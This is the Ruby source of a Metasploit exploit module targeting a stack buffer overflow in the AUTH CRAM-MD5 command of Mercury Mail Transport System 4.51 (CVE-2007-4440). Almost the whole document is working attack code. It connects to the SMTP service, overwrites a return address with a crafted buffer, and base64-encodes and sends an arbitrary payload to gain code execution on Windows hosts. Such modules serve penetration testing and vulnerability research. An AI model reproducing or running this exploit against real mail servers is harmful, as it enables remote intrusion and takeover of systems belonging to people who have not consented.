Mercury/32 Mail SMTPD – AUTH CRAM-MD5 Buffer Overflow (Metasploit)
## # $Id: mercury_cram_md5.rb 9583 2010-06-22 19:11:05Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51. By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'Version' => '$Revision: 9583 $', 'References' => [ [ 'CVE', '2007-4440' ], [ 'OSVDB', '39669' ], [ 'BID', '25357' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Platform' => 'win', 'Privileged' => true, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x20\x25", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Mercury Mail Transport System 4.51', { 'Ret' => 0x258d0d1e } ], # ter32.dll ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 18 2007')) register_options([ Opt::RPORT(25) ], self.class) end def exploit connect sock.get_once sock.put("EHLO\r\n") sock.get_once sock.put("AUTH CRAM-MD5\r\n") sock.get_once select(nil,nil,nil,0.25) buffer = rand_text_alpha_upper(204) + [target.ret].pack('V') buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length) sploit = Rex::Text.encode_base64(buffer) print_status("Trying target #{target.name}...") sock.put(sploit + "\r\n") handler disconnect end end |